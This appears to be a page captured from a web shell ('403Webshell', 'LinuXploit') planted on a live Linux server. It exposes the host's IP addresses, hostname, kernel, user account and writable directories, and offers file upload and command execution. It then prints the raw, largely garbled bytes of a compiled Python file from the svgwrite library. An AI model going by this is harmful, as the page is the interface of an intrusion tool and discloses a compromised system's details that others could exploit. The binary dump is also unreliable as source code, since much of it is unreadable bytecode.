403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.221.20.252
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/svgwrite/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/svgwrite/__pycache__/base.cpython-37.pyc
B

��] �@s|dZddlmZddlZddlmZddlmZmZm	Z	Gdd�de
�ZGdd	�d	e
�ZGd
d�de�Z
Gdd
�d
e�ZdS)z7
The **BaseElement** is the root for all SVG elements.
�)�etreeN)�	Parameter)�AutoID�
to_unicode�PYTHON3c@s�eZdZdZdZdd�Zdd�Zdd�Zed	d
��Z	edd��Z
ed
d��Zejdd��Zedd��Z
dd�Zd/dd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd0d+d,�Zd-d.�ZdS)1�BaseElementz�
    The **BaseElement** is the root for all SVG elements. The SVG attributes
    are stored in **attribs**, and the SVG subelements are stored in
    **elements**.

    ZbaseElementcKs||�dd�}|dk	r|j|_nt�|_|�dd�}|dk	rB||j_|�dd�}|dk	r^||j_t�|_|�|�t�|_	dS)a�
        :param extra: extra SVG attributes (keyword arguments)

          * add trailing '_' to reserved keywords: ``'class_'``, ``'from_'``
          * replace inner '-' by '_': ``'stroke_width'``


        SVG attribute names will be checked, if **debug** is `True`.

        workaround for removed **attribs** parameter in Version 0.2.2::

            # replace
            element = BaseElement(attribs=adict)

            #by
            element = BaseElement()
            element.update(adict)

        �factoryN�debug�profile)
�pop�
_parameterrr	r
�dict�attribs�update�list�elements)�self�extrarr	r
�r�>/opt/alt/python37/lib/python3.7/site-packages/svgwrite/base.py�__init__s

zBaseElement.__init__cCs8x2|��D]&\}}|�d��dd�}|�||�q
WdS)z� Update SVG Attributes from `dict` attribs.

        Rules for keys:

        1. trailing '_' will be removed (``'class_'`` -> ``'class'``)
        2. inner '_' will be replaced by '-' (``'stroke_width'`` -> ``'stroke-width'``)

        �_�-N)�items�rstrip�replace�__setitem__)rr�key�valuerrrrHs	zBaseElement.updatecCs@t�|�}t�|j�|_t�|j�|_d|jkr<|��|d<|S)N�id)�copyrr�next_id)rZnewobjrrrr Ws

zBaseElement.copycCs|jjS)N)rr	)rrrrr	_szBaseElement.debugcCs|jjS)N)rr
)rrrrr
cszBaseElement.profilecCs|jjS)N)r�	validator)rrrrr"gszBaseElement.validatorcCs||j_dS)N)rr")rrrrrr"kscCs
|j��S)N)r�get_version)rrrr�versionoszBaseElement.versioncCs
||_dS)N)r)rZ	parameterrrr�
set_parametersszBaseElement.set_parameterNcCs
t�|�S)N)rr!)rrrrrr!vszBaseElement.next_idcCs"d|jkr|��|jd<|jdS)z� Get the object `id` string, if the object does not have an `id`,
        a new `id` will be created.

        :returns: `string`
        r)rr!)rrrr�get_idys
zBaseElement.get_idcCsd|��S)zn
        Get the `IRI` reference string of the object. (i.e., ``'#id'``).

        :returns: `string`
        z#%s)r&)rrrr�get_iri�szBaseElement.get_iricCsd|��S)zv
        Get the `FuncIRI` reference string of the object. (i.e. ``'url(#id)'``).

        :returns: `string`
        zurl(%s))r')rrrr�get_funciri�szBaseElement.get_funciricCs
|j|S)zz Get SVG attribute by `key`.

        :param string key: SVG attribute name
        :return: SVG attribute value

        )r)rrrrr�__getitem__�szBaseElement.__getitem__cCs&|jr|j�|j||�||j|<dS)z� Set SVG attribute by `key` to `value`.

        :param string key: SVG attribute name
        :param object value: SVG attribute value

        N)r	r"Zcheck_svg_attribute_value�elementnamer)rrrrrrr�s	zBaseElement.__setitem__cCs(|jr|j�|j|j�|j�|�|S)z� Add an SVG element as subelement.

        :param element: append this SVG element
        :returns: the added element

        )r	r"Zcheck_valid_childrenr*r�append)r�elementrrr�add�szBaseElement.addcCs |��}tj|dd�}|�d�S)z� Get the XML representation as unicode `string`.

        :return: unicode XML string of this object and all its subelements

        zutf-8)�encoding)�get_xmlr�tostring�decode)r�xmlZxml_utf8_strrrrr0�szBaseElement.tostringcCs|��S)z� Show SVG in IPython, Jupyter Notebook, and Jupyter Lab

        :return: unicode XML string of this object and all its subelements

        )r0)rrrr�
_repr_svg_�szBaseElement._repr_svg_cCs�t�|j�}|jr$|j�|j|j�x8|j��D]*\}}|dk	r0|�|�}|r0|�	||�q0Wx|j
D]}|�|���qfW|S)z� Get the XML representation as `ElementTree` object.

        :return: XML `ElementTree` of this object and all its subelements

        N)
r�Elementr*r	r"Zcheck_all_svg_attribute_valuesrr�value_to_string�setrr+r/)rr2�	attributerr,rrrr/�s
zBaseElement.get_xmlcCsHt|ttf�r@|jr"|j�|d�t|t�r@|jdkr@t|d�}t|�S)z�
        Converts *value* into a <string> includes a value check, depending
        on :attr:`self.debug` and :attr:`self.profile`.

        �numberZtiny�)	�
isinstance�int�floatr	r"Zcheck_svg_typer
�roundr)rrrrrr5�s
zBaseElement.value_to_stringcCs8|dk	r|j�dt|��|dk	r4|j�dt|��dS)zK Insert a **title** and/or a **desc** element as first subelement.
        Nr)r�insert�Desc�Title)r�title�descrrr�set_desc�szBaseElement.set_desccCsvt|�}t|j�dkr$|j�|�nNd}x:|j|jdkrb|d7}|t|j�kr*|j�|�dSq*W|j�||�dS)zN
        :param xmldata: an xml.etree.ElementTree - Element() object.
        r)rArB�N)�Metadata�lenrr+r*r>)r�xmldata�metadata�posrrr�set_metadata�szBaseElement.set_metadata)N)NN)�__name__�
__module__�__qualname__�__doc__r*rrr �propertyr	r
r"�setterr$r%r!r&r'r(r)rr-r0r3r/r5rCrJrrrrrs0+

	

rc@s eZdZdZdd�Zdd�ZdS)r@rAcCst�|j�|_t|�|j_dS)N)rr4r*r2r�text)rrQrrrrszTitle.__init__cCs|jS)N)r2)rrrrr/
sz
Title.get_xmlN)rKrLrMr*rr/rrrrr@sr@c@seZdZdZdS)r?rBN)rKrLrMr*rrrrr?sr?c@seZdZdZdd�ZdS)rErHcCst�d�|_|j�|�dS)zN
        :param xmldata: an xml.etree.ElementTree - Element() object.
        rHN)rr4r2r+)rrGrrrrszMetadata.__init__N)rKrLrMr*rrrrrrEsrE)rNZsvgwrite.etreerr Zsvgwrite.paramsrZsvgwrite.utilsrrr�objectrr@r?rErrrr�<module>
sp

Youez - 2016 - github.com/yon3zu
LinuXploit